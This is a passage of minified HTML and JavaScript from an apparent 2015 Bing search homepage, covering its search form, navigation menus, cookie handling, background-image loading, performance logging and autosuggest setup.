Image,_G.PPImg.src=_G.lsUrl+'&Type=Event.CPT&DATA={"pp":{"S":"'+(t||"L")+'",'+s.join(",")+',"CT":'+(n-_G.ST)+',"IL":'+_d.images.length+"}"+(_G.C1?","+_G.C1:"")+(h!==null?h:"")+"}"+(_G.P?"&P="+_G.P:"")+(_G.DA?"&DA="+_G.DA:"")+(_G.MN?"&MN="+_G.MN:""),_G.PPS=1,sb_st(function(){sj_evt.fire("onPP"),sj_evt.fire(_w.p1)},1)}},_w.onbeforeunload=function(){si_PP(new Date,"A")};(function(n){var i,r,t;if(document.querySelector){i=[],r="ad";function u(){var c=sb_gt(),o=document.documentElement,r=document.body,s=-1,h=-1,e=o.clientHeight,u=["#b_results .b_ad",".sb_adsWv2",".ads"],t,f,n;if(r){for(t=0;t<u.length;t++)if(f=u[t],n=document.querySelector(f),n&&n.offsetTop<e){s=n.offsetHeight,h=n.offsetTop;break}i=[h,s,o.clientWidth,e,r.offsetWidth,r.offsetHeight,sb_gt()-c]}}n?(t=n.onbeforefire,n.onbeforefire=function(){t&&t(),u(),n.mark(r,i)}):(t=si_PP,si_PP=function(){u();var n='"'+r+'":['+i.join()+"]";_G.C1=_G.C1?_G.C1+","+n:n,t.apply(null,[].slice.apply(arguments))})}})(_w.pp);function sj_ev(n){return sb_i8l?event:n}function sj_et(n){return sb_i8l?event.srcElement:n.target}function sj_mi(n){return sb_i8l?event.fromElement:n.relatedTarget}function sj_mo(n){return sb_i8l?event.toElement:n.relatedTarget}function sj_so(n,t){if(sb_i8l&&n.filters&&n.filters.item)try{n.filters.item("DXImageTransform.Microsoft.Alpha").opacity=t}catch(i){n.style.filter="alpha(opacity="+t+")"}n.style.opacity=t/100}function hp_pushparams(n){return _w.location.search.length>1&&n.push&&n.push(_w.location.search.substring(1)),n}function hp_defined(n){return typeof n!="undefined"}function hp_log(){_w.Log&&_w.Log.Log&&_w.location.href.indexOf("https")==-1&&Log.Log.apply(this,arguments)}function hp_llog(n,t){_H.clientLog&&hp_log("Latency","HP",n,!1,"Time",t)}function hp_hasclass(n,t){return n&&n.className&&n.className.indexOf(t)!==-1}function hp_addclass(n,t){if(!hp_hasclass(n,t)){var i=hp_defined(sj_b.classList);i?n.classList.add(t):n.className+=" "+t}}function hp_removeclass(n,t){var f,i,u,r;if(hp_hasclass(n,t))if(f=hp_defined(sj_b.classList),f)n.classList.remove(t);else{for(i=n.className.split(" "),u=-1,r=0;r<i.length;r++)if(i[r]==t){u=r;break}u>=0&&i.splice(u,1),n.className=i.join(" ")}}function hp_trimstr(n){return typeof String.prototype.trim!="function"?n.replace(/^\s+|\s+$/g,""):n.trim()}function hp_getelemsbyclass(n,t,i){var f,e,o,r,u;if(n.getElementsByClassName)return n.getElementsByClassName(i);if(f=[],!n)return f;for(e=n.getElementsByTagName(t),o=e.length,r=0;r<o;r++)u=e[r],u&&u.className.indexOf(i)>=0&&f.push(u);return f}var sb_i9p=sb_ie&&typeof sb_de.style.opacity!="undefined",sb_i8l=sb_ie&&!sb_i9p;function hasQuery(n){return n.value.replace(/\s+/gi,"")!=""}function qs(n){if(_w.encodeURIComponent){var t=n.href.replace(/&/g,"&"),i=encodeURIComponent(_ge("sb_form_q").value);n.href=t.indexOf("q=")!=-1?t.replace(new RegExp("q=[^&$]*"),"q="+i):t.indexOf("where1=")!=-1?t.replace(new RegExp("where1=[^&$]*"),"where1="+i):t+(t.indexOf("?")<0?"?":"&")+"q="+i}return 1}function selectScope(n,t){hasQuery(_ge("sb_form_q"))&&(n.href=_scopeUrls[t],qs(n))}_scopeUrls=[];
- //]]></script><title>Bing</title><link href="/s/a/bing_p.ico" rel="icon"/><meta content="Bing is a search engine that brings together the best of search and people in your social networks to help you spend less time searching and more time doing." name="description"/><meta content="NOODP" name="ROBOTS"/><!-- FD: 61D6300EFEB1307A0866FCEEE14D29F8 --></head><body class=" en en-US" onload="hpResize(_ge('bgDiv'));_ge('sb_form_q').focus();if(_w.lb)lb();"><script type="text/javascript">//<![CDATA[
- sj_b=_d.body;
- //]]></script><script type="text/javascript">//<![CDATA[
- _G.AppVer="8_01_1_3669439";var _H = {};;var g_vidOn=0;var g_hasVid=1;var g_hasTb=1;var g_hasAjaxNb=0;var g_HPRMSAOL = 0;var g_IMVL = 0;var g_NPLE = 1 + g_hasAjaxNb;var g_hptse = 1;var g_crsInst = 0;_H.rbc = 0;_H.clientLog = 0;;var wlc_d = 1500,wlc_t = 63558510725;;
- //]]></script><table id="hp_table"><tr><td id="hp_cellCenter" class=" hp_hd"><div id="hp_container" class="hp_vid"><div id="bgDiv"></div><div id="sc_hst1" class="sh_hst" style="left:21%;top:39%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/images/search?q=Alpine+marmot&FORM=hphot1" class="sh_hs" id="sc_hs1" target="_self" h="ID=SERP,5036.1"><p></p><span class="sh_hq"></span> <span class="sh_hi">»</span><div class="sh_ho"><div></div></div></a><div id="sc_hst2" class="sh_hst" style="left:34%;top:49%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/search?q=Groundhog+Day&form=hphot2" class="sh_hs" id="sc_hs2" target="_self" h="ID=SERP,5037.1"><p></p><span class="sh_hq"></span> <span class="sh_hi">»</span><div class="sh_ho"><div></div></div></a><div id="sc_hst3" class="sh_hst" style="left:55%;top:38%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/videos/search?q=I+Got+You+Babe&FORM=hphot3" class="sh_hs" id="sc_hs3" target="_self" h="ID=SERP,5038.1"><p></p><span class="sh_hq"></span> <span class="sh_hi">»</span><div class="sh_ho"><div></div></div></a><div id="sbox" class="sw_sform"><div class="hp_sw_logo hpcLogoWhite">Bing</div><div class="search_controls"><a href="javascript:void(0)" id="hpinsthk" h="ID=SERP,5084.1"><span></span></a><form action="/search" id="sb_form" class="sw_box" onsubmit="var id = _ge('hpinsthk').getAttribute('h'); return si_T(id);" ><div class="b_searchboxForm"><input class="b_searchbox" id="sb_form_q" name="q" title="Enter your search term" type="search" value="" maxlength="1000" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false"/><input type="submit" class="b_searchboxSubmit" id="sb_form_go" title="Search" tabIndex="0" name="go"/><input id="sa_qs" name="qs" value="ds" type="hidden"/><input type="hidden" value="QBLH" name="form"/></div></form></div></div><div id="hp_sw_hdr" class="hp_hor_hdr"><div class="sw_tb"><ul id="sc_hdu" class="sc_hl1 hp_head_nav"><li id="scpt0" class=""><a href="/images?FORM=Z9LH" onclick="selectScope(this, 'images');" h="ID=SERP,5013.1">Images</a><div id="scpc0"></div></li><li id="scpt1" class=""><a href="/videos?FORM=Z9LH1" onclick="selectScope(this, 'video');" h="ID=SERP,5014.1">Videos</a><div id="scpc1"></div></li><li id="scpt2" class=""><a href="/maps/?FORM=Z9LH2" onclick="selectScope(this, 'local');" h="ID=SERP,5015.1">Maps</a><div id="scpc2"></div></li><li id="scpt3" class=""><a href="/news?FORM=Z9LH3" onclick="selectScope(this, 'news');" h="ID=SERP,5016.1">News</a><div id="scpc3"></div></li><li id="scpt4" class=""><a href="/explore?FORM=Z9LH4" onclick="selectScope(this, 'seeall');" h="ID=SERP,5017.1">More</a><div id="scpc4"></div></li><li id="scpt5" class=""><a href="/profile/history?FORM=Z9LH5" onclick="selectScope(this, 'history');" h="ID=SERP,5018.1">Search History</a><div id="scpc5"></div></li><div class="sc_pc" id="seeall" style="display:none"><ul id="more_menu" class="sc_hl1"><li><a href="/travel?FORM=HPSFLT" id="more_travel" title="Travel" h="ID=SERP,5027.1"><div><div>Travel</div></div></a></li><li><a href="/translator?FORM=HPSFLT" id="more_translator" title="Translator" h="ID=SERP,5028.1"><div><div>Translator</div></div></a></li><li><a href="/weather/search?q=weather&FORM=HPSFLT" id="more_weather" title="Weather" h="ID=SERP,5029.1"><div><div>Weather</div></div></a></li><li><a href="/explore?FORM=HPSFLT" id="more_explore" title="Explore Bing" h="ID=SERP,5030.1"><div><div>Explore Bing</div></div></a></li><li><a href="/set/homepage?PUBL=BINGCOM" class="hp_text" id="dhplink" onclick="sj_cook && sj_cook.set('_UR', 'DHP', '1', 1, '/')&& sj_cook.set('_UR', 'DHP', '1', 1, '/')" h="ID=SERP,5001.1">Make Bing my homepage</a></li></ul></div><li id="hdr_spl">|</li><li id="msn"><a href="http://www.msn.com/" target="_blank" h="ID=SERP,5002.1">MSN</a></li><li id="outlook"><a href="https://outlook.com/?WT.mc_id=O16_BingHP?mkt=en-US" target="_blank" h="ID=SERP,5003.1">Outlook.com</a></li><li id="office"><a href="http://office.com/start/default.aspx?WT.mc_id=O16_BingHP" target="_blank" h="ID=SERP,5004.1">Office Online</a><div id="off_menu_cont" class="sc_pc" data-officemenuroot="office"><ul class="om"><li><a href="https://office.live.com/start/Word.aspx?WT.mc_id=O16_BingHP" id="officemenu_word" target="_blank" title="Word Online" h="ID=SERP,5019.1"><div><div class="oml_img" id="officemenu_word_img"></div><div class="itm_desc">Word Online</div></div></a></li><li><a href="https://office.live.com/start/PowerPoint.aspx?WT.mc_id=O16_BingHP" id="officemenu_powerpoint" target="_blank" title="PowerPoint Online" h="ID=SERP,5020.1"><div><div class="oml_img" id="officemenu_powerpoint_img"></div><div class="itm_desc">PowerPoint Online</div></div></a></li><li><a href="https://office.live.com/start/Excel.aspx?WT.mc_id=O16_BingHP" id="officemenu_excel" target="_blank" title="Excel Online" h="ID=SERP,5021.1"><div><div class="oml_img" id="officemenu_excel_img"></div><div class="itm_desc">Excel Online</div></div></a></li><li><a href="https://outlook.com/?WT.mc_id=O16_BingHP" id="officemenu_outlook" target="_blank" title="Outlook.com" h="ID=SERP,5022.1"><div><div class="oml_img" id="officemenu_outlook_img"></div><div class="itm_desc">Outlook.com</div></div></a></li><li><a href="https://calendar.live.com/?WT.mc_id=O16_BingHP" id="officemenu_calendar" target="_blank" title="Calendar" h="ID=SERP,5023.1"><div><div class="oml_img" id="officemenu_calendar_img"></div><div class="itm_desc">Calendar</div></div></a></li><li><a href="https://people.live.com/?WT.mc_id=O16_BingHP" id="officemenu_people" target="_blank" title="People" h="ID=SERP,5024.1"><div><div class="oml_img" id="officemenu_people_img"></div><div class="itm_desc">People</div></div></a></li><li><a href="https://www.onenote.com/notebooks?WT.mc_id=O16_BingHP" id="officemenu_onenote" target="_blank" title="OneNote Online" h="ID=SERP,5025.1"><div><div class="oml_img" id="officemenu_onenote_img"></div><div class="itm_desc">OneNote Online</div></div></a></li><li><a href="https://skydrive.live.com/?gologin=1&WT.mc_id=O16_BingHP" id="officemenu_onedrive" target="_blank" title="OneDrive" h="ID=SERP,5026.1"><div><div class="oml_img" id="officemenu_onedrive_img"></div><div class="itm_desc">OneDrive</div></div></a></li></ul></div></li></ul><div id="hp_id_hdr"><div id="id_h"><a href="/rewards/dashboard" class="id_button" id="id_rh" h="ID=SERP,5059.1"><span id="id_rc">Rewards</span><span class="id_avatar sw_meIc" title="Bing Rewards"></span></a><a href="/rewards/dashboard" class="b_hide" id="id_rwl" h="ID=SERP,5058.1"></a><span id="nc_iid" _iid="SERP.5057"/><a href="javascript:void(0);" class="id_button" id="id_l" h="ID=SERP,5054.1"><span id="id_s">Sign in</span><span id="id_n" style="display:none"></span></a><a href="/account/general?ru=http%3a%2f%2fwww.bing.com%3a80%2f&FORM=SEFD" class="sw_pref" title="Preferences" h="ID=SERP,5055.1"></a><span id="id_d" _iid="SERP.5064"></span></div><div id="sw_tfbb"></div><a href="/set/homepage?PUBL=BINGCOM" class="hp_text" id="dhp" onclick="sj_cook && sj_cook.set('_UR', 'DHP', '1', 1, '/')&& sj_cook.set('_UR', 'DHP', '1', 1, '/')" h="ID=SERP,5000.1">Make Bing my homepage</a></div></div></div><div id="hp_bottomCell"><div id="hp_ctrls"><div id="sh_rdiv"><a href="?FORM=HYLH#" id="sh_igl" title="Previous" h="ID=SERP,5050.1"><div class="sc_lightdis"><div class="hpcPrevious"></div></div></a><a href="?FORM=HYLH1#" id="sh_igr" title="Next" h="ID=SERP,5049.1"><div class="sc_lightdis"><div class="hpcNext"></div></div></a><a href="/search?q=Alpine+marmot&form=hpcapt&filters=HpDate%3a%2220150202_0800%22" alt="Alpine marmot (© Michael Dietrich/Alamy)" class="sc_light" id="sh_cp" h="ID=SERP,5040.1"><div><div id="sh_cp_in" class="hpcBkP"></div></div></a></div><div id="musCard"><div id="musCardContent"><ul id="hp_share_options"><li><a href="javascript:void(0)" data-baseurl="https://www.facebook.com/sharer/sharer.php?u=" data-shareurl="https://www.bing.com/?FORM=HPSHFB&mkt=en-US" id="ShareFB" title="Facebook" h="ID=SERP,5032.1"><div><div id="hp_fb_share_img" class="hp_share_option rms_img rms_rmsanswersHomepagehp_fb_share_img rms_rmsanswersHomepageHomepageShareSprite"></div></div></a></li><li><a href="javascript:void(0)" data-baseurl="https://twitter.com/intent/tweet?text=Check out today's homepage on Bing&url=" data-shareurl="https://www.bing.com/?FORM=HPSHTW&mkt=en-US" id="ShareTwitter" title="Twitter" h="ID=SERP,5033.1"><div><div id="hp_twitter_share_img" class="hp_share_option rms_img rms_rmsanswersHomepagehp_twitter_share_img rms_rmsanswersHomepageHomepageShareSprite"></div></div></a></li></ul><ul id="musCardActionLinks"><li><div><div><a href="javascript:void(0)" data-dismsg="This image is not available to download as wallpaper." data-msg="Download today’s image" id="DownloadHPImage" title="Download today’s image" h="ID=SERP,5085.1"><div>Download today’s image</div></a></div><div id="hpw-desc"><div class="action-link-desc">(Restricted to wallpaper use only)</div></div></div></li></ul><div id="musCardDesc"><a href="javascript:void(0)" id="musCardImageLink" h="ID=SERP,5086.1"><p id="musCardImageTitle"></p></a><p id="musCardCopyright"></p></div></div></div></div><div><div id="hp_notf"></div><div id="hp_tbar"></div></div><div id="sb_foot"><ul id="sw_footL"><li><span>© 2015 Microsoft</span> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkId=248686&CLCID=0409" h="ID=SERP,5067.1">Privacy and Cookies</a> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkID=246338&CLCID=0409" h="ID=SERP,5068.1">Legal</a> | </li><li><a href="http://go.microsoft.com/?linkid=9844325" h="ID=SERP,5069.1">Advertise</a> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkID=286759&CLCID=409" target="_blank" h="ID=SERP,5070.1">About our ads</a> | </li><li><a href="http://onlinehelp.microsoft.com/en-US/bing/ff808535.aspx" id="sb_help" target="_blank" h="ID=SERP,5071.1">Help</a> | </li><li><a href="#" id="sb_feedback" h="ID=SERP,5072.1">Feedback</a></li></ul></div></div></div></td></tr></table><PrefetchResources/><script type="text/javascript">//<![CDATA[
- sf_fbCfg={sId:"6",wt:100};sj_evt.bind("xd:fba:checkbar",function(n){var t,i;n&&n.length>=2&&(t=sj_ce("iframe"),t.id="sw_tfbbi",i=_ge("sw_tfbb"),i&&(t.height="0",t.scrolling=t.frameBorder="no",t.src="/fd/fb/b?fv="+_G.Ver+"#"+n[1],i.appendChild(t)))});sj_evt.bind("onP1",function(){var n=sj_ce("iframe");n.height=n.width=0,n.frameBorder=n.scrolling="no",sj_b.appendChild(n),n.src="/fd/fb/r?v="+_G.Ver+"&sId="+sf_fbCfg.sId+(/&testhooks=1/.test(location.search)?"&testhooks=1":""),_w.logfb&&logfb("rr",+new Date)},1,_w.sf_fbCfg&&sf_fbCfg.wt?sf_fbCfg.wt:100);sj_cook=new function(){var n=this;n.get=function(n,t){var i=_d.cookie.match(new RegExp("\\b"+n+"=[^;]+")),r;return t&&i?(r=i[0].match(new RegExp("\\b"+t+"=([^&]*)")),r?r[1]:null):i?i[0]:null},n.set=function(t,i,r,u,f,e){var o,s=i+"="+r,h=n.get(t),c,l,a;h?(c=n.get(t,i),o=c?h.replace(i+"="+c,s):h+"&"+s):o=t+"="+s,l=location.hostname.match(/([^.]+\.[^.]*)$/),a=e&&e>0?e*6e4:63072e6,_d.cookie=o+(l?";domain="+l[0]:"")+(u?";expires="+new Date(+new Date+Math.min(a,63072e6)).toGMTString():"")+(f?";path="+f:"")}};function sj_ic(n){var t=sj_ce("style");_d.getElementsByTagName("head")[0].appendChild(t),t.textContent!==undefined?t.textContent=n:t.styleSheet.cssText=n};_w.RmsLoaderConfig={name:"rmsloaderdelayed"};(function(){_w.rms=_w.rms||function(){var n=[],t=[],i=function(){return n.push(arguments),_w.rms},r=function(){return t.push(arguments),_w.rms},u=function(){var n=sj_ce("script");n.src="/fd/sa/"+_G.Ver+"/"+_w.RmsLoaderConfig.name+".js",sj_b.appendChild(n)};return{onload:i,js:r,start:u,onloadargs:n,jsargs:t}}()})();sj_evt.bind("onP1",function(){_w.rms.start()},1,50);sj_evt.fire("onHTML");function cpHandler(){_d.cookie="CPR=0;path=/",_d.cookie="IPH="+_G.IP+";path=/";var n=_d.createElement("iframe");n.src="/fd/sa/cp.html",n.style.display="none",_d.body.appendChild(n)}sj_evt.bind("onP1",cpHandler,1,1500);
- //]]></script><script type="text/javascript">//<![CDATA[
- (function(n,t){onload=function(){_G.BPT=new Date,n&&n(),!_w.sb_ppCPL&&t&&sb_st(function(){t(new Date)},0)}})(_w.onload,_w.si_PP);var _anim=function(n,t,i,r,u,f,e,o){var p="ease-in",v="ease-in-out",y="ease",s=function(n){return typeof n!="undefined"},h=function(){var i=function(n,t,i,r,u){var f=t/i;return r+u*f*f*f},t=function(n,t,i,r,u){var f=t/i-1;return r+u*(f*f*f+1)},n=function(n,t,i,r,u){var f=t/(i/2);return f<1?r+u/2*f*f*f:(f-=2,r+u/2*(f*f*f+2))};return{In:{css3TransitionName:p,fallbackScript:i},Out:{css3TransitionName:v,fallbackScript:n},InOut:{css3TransitionName:y,fallbackScript:t}}}(),l=function(u,f,o,l,a){var pt=a.unit||"",nt=a.duration||500,v=nt,ti="string",ot="transition",tt="Transition",ft="End",ni="end",b=a.easing||h.InOut,y=ot,k,yt,et=typeof f===ti&&f,wt=typeof f=="function"&&f,p=u.style,rt,ut,it,w,g,kt=typeof sj_b.style.MozTransition!="undefined",bt,d=et&&et.replace(/-(\w)/g,function(n,t){return t.toUpperCase()}),st=function(){ct(),kt?sb_ct(bt):at(1),rt&&rt()},at=function(i){if(kt)i||(bt=sb_st(st,v));else{var r=i?t:n;r(u,yt,st)}},lt=function(n){ut=n,d?p[d]=n+pt:wt&&wt(u,n)},vt=function(){var n;if(!d||!b.css3TransitionName)return!1;var u=i||r,e=u.style,o="ms "+b.css3TransitionName+" 0s",t=["","ms","Webkit","O"],f=[ot+ni,"MS"+tt+ft,"webkit"+tt+ft,"o"+tt+ft];for(n=0;n<t.length;n++)if(y=t[n],y+=t[n]!=""?tt:ot,s(e[y]))return k=et+" "+v+o,yt=f[n],!0;return!1},ct=function(){for(var i=p[y],t=i.split(","),n=0;n<t.length;n++)k.indexOf(t[n])>=0&&(t.splice(n,1),n--);p[y]=t.join(",")},ii=function(){p[y]?p[y]+=", "+k:p[y]=k},ht=function(n,t){rt=n,ii(),at(),c(function(){p[d]=t+pt},1)},gt=function(){function h(u,s){(n||(f=0),f!==s)&&(n&&ut?(v=e()-t,w=ut,g=s===r?l:o):(v=nt,s===r?(w=o,g=l):(w=l,g=o)),it=g-w,f=s,i=u,t=e(),c(a,5),n=!0)}function a(){var r=e()-t;r>=v?(lt(b.fallbackScript(u,v,v,w,it)),n=!1,i&&i()):(lt(b.fallbackScript(u,r,v,w,it)),c(a,5))}var r=1,y=2,f=0,n=!1,t,i;return{start:function(n){h(n,r)},revert:function(n){h(n,y)},updateDur:function(n){s(n)&&(v=nt=n)}}},dt={start:function(n){ht(n,l)},revert:function(n){ht(n,o)},updateDur:function(n){ct(),s(n)&&(v=nt=n),vt()}};return vt()?dt:gt()},c=function(){return _w.requestAnimationFrame||_w.webkitRequestAnimationFrame||_w.mozRequestAnimationFrame||_w.oRequestAnimationFrame||_w.msRequestAnimationFrame||function(n){f(n,16.7)}}(),a=function(n,t,i,f,e){function a(t){n&&n.style&&(n.style.visibility=t?"hidden":"visible")}var p=o&&!s(r.style.opacity)?function(n,t){u(n,t*100)}:"opacity",v=s(f)&&f||0,y=s(e)&&e||1,w=s(i)&&i||s(t)&&t,c=l(n,p,v,y,{duration:t,ease:h.In});return{up:function(n){v===0&&a(!1),c.updateDur(t),c.start(function(){y===0&&a(!0),n&&n()})},down:function(n){y===0&&a(!1),c.updateDur(w),c.revert(function(){v===0&&a(!0),n&&n()})},updateDur:c.updateDur}};return{animE:l,fadeE:a,ease:h}}(sj_be,sj_ue,sj_b,sb_de,sj_so,sb_st,sb_gt,sb_ie);(function(n,t,i){function f(){!u.end&&o===a&&o>0&&i(k,0)}function s(n){if(n&&n.length)return r[n]||(r[n]={start:0,end:0,actual:0,done:0},o++),r[n]}function p(){var t=[],n;for(n in r)r.hasOwnProperty(n)&&(t.push(n),u.actual+=r[n].actual);return t.sort(function(n,t){return r[t].actual-r[n].actual}),t}function b(){var f=[],e=0,u=p(),t,n,i;if(u.length>0)do if(t=u.shift(),n=r[t],!(n.start<_G.ST)){if(i='"'+t+'":{"S":'+(n.start-_G.ST)+',"E":'+(n.end-_G.ST)+',"T":'+n.actual+"}",e+=i.length+1,e>=w)break;f.push(i)}while(u.length>0);return f.join(",")}function d(){function i(n){return n=n.toString().replace(/\"/g,"'"),'"'+n+'"'}var r=[],t,n;for(t in e)e.hasOwnProperty(t)&&(n=e[t],typeof n!="number"&&(n=i(n)),r.push(i(t)+":"+n));return r.join(",")}function k(){u.end||(u.end=new Date,(new Image).src=_G.lsUrl+'&Type=Event.PPT&DATA={"S":'+(u.start-_G.ST)+',"E":'+(u.end-_G.ST)+',"T":'+u.actual+',"I":'+u.numInvalid+',"N":{'+b()+'},"M":{'+d()+"}}"+(_G.P?"&P="+_G.P:"")+(_G.DA?"&DA="+_G.DA:""))}function v(n){var t=r[n];t&&!t.done&&(t.done=1,a++,f())}function c(n){var u=n.task;if(u){var r=u,t=n.ns,f=n.delay||0;if(t&&t.length>0){l(t);function e(){var i=new Date,n;u(),n=new Date,h(t,i,n)}r=e}f>0?i(r,f):r()}}function h(n,t,i){var r,e;(f(),r=s(n),r)&&(e=i-t,(e<0||i<r.end||r.start&&t<r.start)&&++u.numInvalid,r.actual+=e,r.start||(r.start=t),r.end=i)}function l(n){f(),s(n)}function y(n,t){f(),e[n]=t}var u={start:new Date,end:0,actual:0,numInvalid:0},r={},o=0,a=0,e=t._cm||{},w=600;n("onP1",function(){var i,r,n;for(t.register=l,t.schedule=c,t.complete=v,t.recordTimings=h,t.reportCustomMetric=y,r=t._ns||[];i=r.shift();)s(i);for(n=t._reg||[];n.length>0;)c(n.shift());f()},1)})(sj_evt.bind,sched,sb_st);(function(){var n=_ge("sb_form_q"),t=function(t){var i=t.keyCode,r,u;!t.altKey&&t.ctrlKey&&i>64&&i<91||(i===32||i>47&&i<91||i>95&&i<106||i>185&&i<223)&&n&&("createTextRange"in n?_d.activeElement!==n&&(r=n.createTextRange(),r.collapse(!1),r.select(),n.focus()):"getSelection"in _w&&(r=_w.getSelection(),r.rangeCount===0&&(u=_d.createRange(),u.selectNode(n),r.addRange(u),r.collapse(n,0)),n.focus()))};sj_be(_d,"keydown",t)})();function sc_bgL(){function s(){function w(){e(c,w),y||(sb_ct(v),e(r,p),i(l,s))}function s(){i(r,p,1),e(l,s),i(c,w)}function p(i){function r(){t.style.backgroundImage="url('"+f.src+"')",sb_i8l&&(t.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+f.src+"', sizingMethod='scale') progid:DXImageTransform.Microsoft.Alpha(opacity=0);"),t.className+=" sw_imLd",u("onBgSet")}y=1,f.onerror=f.onload=null,i[2]>n.d?(sj_so(t,0),r(),v=sb_st(sj_wf(_anim.fadeE(t).up,sc_fadeCb),h)):(r(),sj_so(t,100),sc_fadeCb()),sj_cook.set(n.cN,n.crN,n.hash,0,"/")}var f=new Image,y=0,o=0,v,a;i("onSearch",function(){n.x=!0,f=null,sb_ct(v)}),s(),f.onload=function(){o=sb_gt()-a,_w.hp_llog&&hp_llog("Image",o),u(r,f,o)},f.onerror=function(){hp_log("Error","HPImage","LoadFailed",!1)},typeof g_rbBypass!="undefined"&&g_rbBypass&&(f.onerror=function(){u(r,f,o)}),a=sb_gt(),_H.startTm&&_w.hp_llog&&hp_llog("ImageStart",a-_H.startTm),f.src=n.url}var n=g_img,t=_ge(n.id),f=sj_evt,i=f.bind,e=f.unbind,u=f.fire,r="onBgLoad",c="onSbBusy",l="onSbIdle",h=typeof n.del!="undefined"?n.del:500,o=_w.sched;_w.g_hptse&&o?o.schedule({ns:"H",task:s}):i("onP1",s,1,h)}function hpResize(n,t,i,r){function h(){var c,h;if(n&&s){(_w.g_img&&_w.g_img.hdon===1&&_w.g_img.hdsup===1||s.clientWidth>f||s.clientHeight>o)&&(f=1920,o=1080);var r=s.getBoundingClientRect(),i=Math.min(Math.round(r.right-r.left),f),t=Math.min(Math.round(r.bottom-r.top),o);i/f>t/o?(c=Math.ceil(o*i/f),u.width=i+e,u.height=c+e,u.top=(t-c)/2+e,u.left=0):(h=Math.ceil(f*t/o),u.height=t+e,u.width=h+e,u.top=0,u.left=(i-h)/2+e)}}var c="resize",l="unload",e="px",f=i||1366,o=r||768,u=n&&n.style,s=t||_ge("hp_container");s&&u&&(h(),sj_be(_w,c,h),sj_be(_w,l,function(){sj_ue(_w,c,h)}))}function checkResponsiveImage(){var n=_ge("bgDiv"),r="data-minhdhor",u="data-minhdver",t=parseInt(n.getAttribute(r))||1443,i=parseInt(n.getAttribute(u))||806;_w.g_img&&(_w.screen.height>=i||_w.screen.width>=t)&&(_w.g_img.hdsup=1,_w.g_img.hdurl&&_w.g_img.hdhash&&(_w.g_img.url=_w.g_img.hdurl,_w.g_img.hash=_w.g_img.hdhash))}sc_fadeCb=function(){},function(n){function t(){_w.g_img&&g_img.cN&&(typeof g_rbBypass=="undefined"||!g_rbBypass)||sj_evt.fire("onBgSet")}_w.g_hptse&&n?n.schedule({ns:"H",task:t}):sj_evt.bind("onP1",t,1)}(_w.sched);(function(){sb_ie&&sj_evt.bind("onP1",function(){sj_jb("UpdateDefaults",0)},1,50)})();(function() {var events = 0;sj_evt.bind("onBgSet", WaitEvent, 1, 0);sj_evt.bind("OnBnpLoaded", WaitEvent, 1, 0);function WaitEvent(){if (++events == 2) SendRequest()}function SendRequest(){if (typeof Bnp === 'undefined') return;if (Bnp.Global){Bnp.Global.RawRequestURL = "/";Bnp.Global.Referer = "";}var request = new Bnp.Partner.Request("HomePage");request.IID = "SERP.2000";request.Submit();}})();;(function(){function n(){var n="SRCHHPGUSR",r=sj_cook.get(n,"CW"),t,i;r&&r==sj_b.clientWidth||sj_cook.set(n,"CW",sb_de.clientWidth||sj_b.clientWidth,1,"/"),t=sj_cook.get(n,"CH"),t&&t==sb_de.clientHeight||sj_cook.set(n,"CH",sb_de.clientHeight,1,"/"),i=sj_cook.get(n,"DPR"),typeof _w.devicePixelRatio=="undefined"||i&&i==_w.devicePixelRatio||sj_cook.set(n,"DPR",_w.devicePixelRatio,1,"/")}sj_be(_w,"load",n),sj_be(_w,"resize",n)})();g_img={url:'/az/hprichbg/rb/GHDVideo_EN-US11554498564_1920x1080.jpg',id:'bgDiv',d:'200',cN:'_SS',crN:'bIm',hash:'565',del:'50'};g_img.hdon = 1;g_img.hdsup = 0;checkResponsiveImage && checkResponsiveImage();sc_bgL();;var g_hot={1:{0:"In case the groundhog calls in sick today…",1:"We have a backup prognosticator"},2:{0:"Technology has made weather forecasting better and more accurate than ever.",1:"Yet tradition endures"},3:{0:"If you like terrorizing roommates, siblings, or significant others…",1:"Wake them up today with this"}};;function fadeComplete(){var i,u,t,r,n;_G.KPT=new Date,i=_w.g_HPRMSAOL,!_H.hotDis&&_ge("sc_hs1")&&(i||(g_NPLE++,sj_jb("homepageHotspotsLarge_c"))),u=_ge("sw_filt"),u||(t=_ge("sb_sl"),r=_ge("sb_form"),t&&r&&(t.style.width=r.offsetWidth+"px",t.style.display="block")),n="",_ge("hp_pgbar")?n="HpProgrambar":g_hasTb&&(n="HpModules"),n&&(g_NPLE++,i||(_G&&_G.RTL===!0&&(n+="_rtl"),sj_jb(n))),g_NPLE||sj_evt.fire("onRBComplete")}sc_fadeCb=fadeComplete,function(){var f=1085,u=1366,e=16,r="px",i=_ge("sw_footL"),t=_ge("hp_container"),n;i&&t&&(n=i.offsetWidth+e,n>u&&(n=u),n>f&&(t.style.minWidth=n+r,sj_b.clientWidth>sj_b.clientHeight&&(!_w.navigator.userAgent.match(/iPad/)||(t.style.minHeight=parseInt(n*_d.body.offsetHeight/_d.body.offsetWidth)+r))))}();sa_config={"u":"%2fAS%2fSuggestions%3fpt%3dpage.home%26mkt%3den-US%26qry%3d","mkt":"en-US","f":"sb_form","i":"sb_form_q","c":"sw_as","sid":"6B3509BC90BD4153AB4D20E04AD6AD4B","asf":1,"ePN":1,"smg":1,"t":1,"ol":1,"eHS":1,"eHC":1,"v":1,"d":100,"SCT":1500,"SBW":811};sa_loc={"PE":"See Bing results for"};;sa_loader=function(){_w.rms.js({'rms:answers:AutoSuggest:AutoSugPreviewBlue':'\/rms\/AutoSugPreviewBlue\/jc\/91a741c5\/2dcb53cd.js?bu=rms+answers+AutoSuggest+Modules%24Service%2cApi%2cDataProviders%24GenericDataProvider%2cAutoSuggestCanvas_r%2cAutoSuggestLayoutBlue_r%2cAutoSuggestSearchForm_r%2cAutoSuggestSpelling_r%2cAutoSuggestHighConfGhosting_r%2cPreviewPane%24PreviewPaneHybrid%2cAutoSuggestInit_r&y',d:1});};;var sa_eL=!1,sj_evas,sj_etas;if(function(){function e(t,i,r,f){t&&sj_ue(t,i,e),sa_eL=sa_eL||n.eAI?r&&f.keyCode!==27:r,u||(u=!0,sa_loader())}function 